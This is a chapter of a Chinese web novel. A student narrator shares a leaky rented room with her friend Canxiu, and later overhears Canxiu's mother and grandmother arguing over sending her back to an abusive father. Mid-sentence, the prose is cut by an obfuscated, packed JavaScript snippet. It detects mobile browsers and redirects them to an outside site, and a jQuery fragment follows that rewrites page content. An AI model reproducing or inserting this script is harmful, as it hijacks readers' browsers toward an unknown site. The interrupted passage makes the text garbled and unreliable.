走到我们住的那栋破旧居民楼下，底层开着的小卖部还亮着灯，快到十一点了也没关门。
参宿肚子饿，拉着我进去买了两袋方便面。
回到出租屋，她立刻蹲在地上，手脚麻利地拆开包装，接水，开火，等着面煮开。
狭窄的房间里很快弥漫开一股廉价却诱人的香味。
我们俩就着那个小锅，头碰头地分吃完了面，这样只需要洗一个碗。
吃完后，我们石头剪刀布决定谁去洗碗，这次我输了。
参宿笑嘻嘻地拍拍我的肩膀：“交给你啦！”然后自己就甩手倒在了下铺床上。
我们的床是铁架上下铺，参宿睡上铺。但她经常赖在我的下铺玩手机或者看书，我也从不在意。
等我洗完碗回来，她果然还瘫在床上，作业一点没动，只是举着手机刷个不停。
从前，她也是从这段时间开始彻底摆烂，成绩直线下滑，徐春红也看她越来越不顺眼。
我把碗放好，走到床边。
“干嘛呀你？”她抬眼瞥了我一下，手指还在屏幕上滑动。
“手机就这么好玩？作业一点也不写？”我问。
她笑嘻嘻的，浑不在意：“语文不用管，反正我是课代表。数学明早抄你的就好啦。英语晚自习我写完了。其他的……就听天由命吧！”
说完，她开始在视频软件里翻找电影。
从前也是这样。
每次我刷题刷到想撕书的时候，她都会这样问我，要不要一起看个电影放松一下？那时候的我总是又气又急，我觉得我必须争分夺秒地学习，把自己绷得像一根快要断裂的弦。我太珍惜这个来之不易的、可能改变命运的机会了。
而参宿不用，她好像有资本摆烂，在这样的好高中里，她每天开开心心混着，也能上个不错的大学。她没有我那种偏执的、对成绩的在乎。
所以每次她邀请我，我都会毫不留情地拒绝。
但这一次，我主动说：“我们一起看吧。”
她诧异地抬起头：“你不学习了？”
我撇撇嘴，学着她往常的样子瘫倒在床沿：“我也想放松一下，你想看什么？”
“不知道呀……”她划拉着屏幕。
“看鬼片！”我有点激动地趴过去提议。
“不要！”她立刻拒绝，缩了缩脖子。
参宿胆子其实很大，不怕各种昆虫，也不怕黑，但唯独怕鬼。
我故意逗她：“看嘛看嘛，我陪着你，看点刺激的！”
她撅着嘴犹豫了半天，最后我们俩挑了一部据说不太恐怖的经典老片——《灵异第六感》。
我和参宿兴奋地跑去外面公用的卫生间快速洗漱完，然后关了灯，一起钻进被窝里。
一张宽度只有九十厘米的床，我们俩得紧紧挨着才不至于掉下去。
一开始是我举着手机，手酸了就换她举。
电影开头还是有些许恐怖氛围，参宿吓得捂着脸，却又忍不住透过指缝偷看，时不时“啊！”一声。
每次她一叫，我也跟着被吓一跳。
出租房的隔音很差，我们不敢太大声，只能紧紧挨着，从对方的体温里汲取一点勇气。
看了大概半小时，快到十二点的时候，隔壁房间响起了巨大的呼噜声，穿透薄薄的墙壁传过来。
虽然很吵，但在这样一个寒冷的夜晚，让人觉得安稳。
我和参宿窝在小小的床上，被窝里暖烘烘的，手机屏幕的光映在我们脸上。
这是高三以来，我极少感受到的放松的一刻。
电影进行到后半段，那个能看见鬼魂的小男孩坐在车里，对他的妈妈说：“外婆让我告诉你，她去看你了舞蹈表演。”
妈妈愣住了。
男孩继续说：“你们小时候吵过一次架，就在你登台表演之前。你以为她没去看，但她其实去了。她躲在后面，没让你看到。”
“她说，你跳舞的样子，就像一个天使。”
男孩顿了顿，看着泪流满面的妈妈，轻声问：“你去过她的墓地，问她一个问题。她说她的答案是……每一天。”
“妈妈……你当时问了什么？”
屏幕里，妈妈泣不成声，几乎说不出一句完整的话：“我……我问她……我有没有……令她骄傲？”
看到这里，参宿揉揉眼睛，无声地哭了。
我们搂着一起哭。
哭累了，我们就那样相互依偎着，沉沉睡了过去。
第二天不出意外，我们俩又迟到了。
唯一值得庆幸的是，幸好参宿昨晚睡的是下铺——因为她的上铺，漏水了。
清晨是被水滴“滴答、滴答”落在枕头边的声音吵醒的。
抬头一看，上铺的床板湿了一大片，水珠正连绵不断地渗下来。
我们急着赶去上学，只能匆匆在上铺正下方放了个搪瓷盆接水，然后抓起书包就狂奔出门。
十二月份，冬天真正来了，天气一天比一天冷。
我们跟楼上的住户反映了好几次，但那漏水丝毫没有要停歇的意思。据说是楼上厨房的水管老化，修起来麻烦，他们也就一直拖着。
苦了我和参宿。
我们俩合力，勉强把那张铁架床挪了个位置，避开漏水最严重的地方，但依旧得在地上放个盆接水。
参宿的被子被打湿了一大块，一时半会儿也晒不干。
她干脆就抱着枕头，彻底赖在了我的下铺，开始跟我挤着睡。
那段时间，参宿依旧对学习提不起太大兴趣，每天回来不是玩手机就是倒头睡觉。我就在书桌那头，开着一盏小小的台灯，刷题复习到凌晨两点半，然后准时上床。
参宿的身体像个小暖炉，总是有源源不断的热量。
在南方没有暖气的湿冷冬天里，我钻进被窝，挨着她，总能很快睡着。
——
周末，奶奶出院，我去医院帮忙搭把手。
冬日的医院，总是人满为患，空气里弥漫着消毒水味。
这个味道几乎贯穿了我对奶奶生病后所有记忆，每一次闻到，都意味着奔波、疲惫和无尽的担忧。
奶奶常年瘫痪，进出医院是家常便饭，这股味道于我而言，是痛苦和压抑的具象化。
好不容易挤到住院部电梯口，那里早已堵得水泄不通。
等了许久，一部电梯终于“叮”的一声到达，门缓缓打开，里面已是黑压压的一片。
人群推搡着涌入，我也被裹挟着进去。
刚站稳，超载的刺耳警报声就尖锐地响了起来。
“超载了！最后进来的那个，下去啊！”里面有人不耐烦地喊道。
最后一个进来的，是站在我旁边的一位大爷，拄着拐杖，脸色尴尬，试图艰难地转身。
“快下去啊，大家都等着呢！”
我理解。
在医院这种地方，每个人都被自身的痛苦和焦灼填满，很难再有空隙去共情和理解他人的不便。
疲惫和病痛磨掉了大多数人的耐心。
我侧身从人缝里挤了出来。
电梯门在我身后缓缓合上，隔绝了里面或漠然或歉意的目光。
楼梯间是烟味最浓重的地方，所有难以在医院内部宣泄的愁闷都聚集于此，化作了呛人的尼古丁和焦油。
我捂着口鼻，还是被呛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480730|185628||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得连连咳嗽了好几声。
快步爬上奶奶所在的楼层，推开沉重的防火门，重新踏入走廊。
我刚要辨认方向，一个熟悉的身影猛地从一个病房里冲了出来，几乎与我撞个满怀。
她狼狈地捂着脸，肩膀微微颤抖，像是在极力压抑着哭声，匆忙与我擦肩而过，甚至没有抬头看一眼。
这个人是参宿。
我愣在原地。
然后，迟疑地走到她刚刚冲出来的那间病房门口，朝里望去。
那是很普通的三人间，但另外两张病床空着。
唯一住着人的那张床上，躺着一位头发花白的老人，正不住地抹着眼泪。
床边站着一个中年女人，穿着讲究，但神色冷漠，眉眼之间和参宿有着几分相似。
我隐约察觉出了她们的身份。
床上的老人颤抖地开口：“小娟，算我求你了……你不能把参宿交给他啊……”
那个被称作“小娟”的女人只是轻轻叹了一口气：“妈，这个事情由不得我。是参国富他想要回参宿，而且当初离婚我们白纸黑字说好了的，我带走小彻，参宿归他管。这么多年，我替他多照顾了参宿这么久，已经算是仁至义尽了。”
老人家婆娑着泪眼，激动地想要坐起来：“可是参宿他也是你的孩子呀！你不能一点都不心疼她……”
女人听到这句话，嘴角勾起一抹冷笑：“心疼？”
“参国富他家暴参宿！把孩子打得脾脏破裂住了院，这才判了刑！他现在坐了这么多年牢出来了，你要是把参宿送回去，你简直就是让她去送死呀！”
“那跟我也没有关系。”
老人家颤抖着伸出手想去拉她：“小娟你不能这个样子！你是她的母亲呀！”
“母亲？”
林娟那双冷漠的眼睛直直地盯着床上苍老的母亲：“可你也是我的母亲呀。”
她逼近一步：“你不明白我为什么会变成现在这个样子吗？我变成这个样子是拜谁所赐呢？”
老人低下头，身体止不住地颤抖。
女人一步步逼近床前：“我和我弟，同样是你的孩子，那为什么在他每次犯错误之后，我爸只会教训我，把我打得皮开肉绽的时候你在哪里？”
“你怎么不说话？”
“你那个时候不是永远都沉默着吗？”
“你这个时候倒学会说话了？”
“难道我不是你的孩子吗？”
老人崩溃地哭泣起来，一遍遍重复：“对不起……是我的错……我罪该万死……是我的错……”
听到这里，我已然明白了。
那是属于上一代甚至上上一代的悲剧。
一个强势的父亲，一个软弱的母亲，在那个重男轻女风气盛行的旧时代里，造就了林娟扭曲的童年。弟弟犯错，受罚的却是她，而她的母亲，永远只是沉默地看着。
后来父亲去世，母亲想要弥补，可是林娟已经不想要了，母亲于是将所有的愧疚和迟来的爱意都倾注在外孙女参宿身上，可这却更深地刺伤了从未得到过公平对待的女儿。
所以，在和家暴的丈夫参国富离婚后，她毅然决然地只带走了儿子参彻，将女儿参宿留给了参国富。
这是一种对自身悲惨过去的扭曲报复。
我站在门口，冷漠地看着里面争吵的两个人，哭泣的两个人，大吼大叫、声嘶力竭的两个人。
忽然觉得这一切都荒谬得可笑，又可悲得令人发指。
我们从来都只是小孩子而已。
我们为什么要被裹挟在你们上一代人的恩怨情仇里，艰难地、扭曲地活着？
我们究竟做错了什么？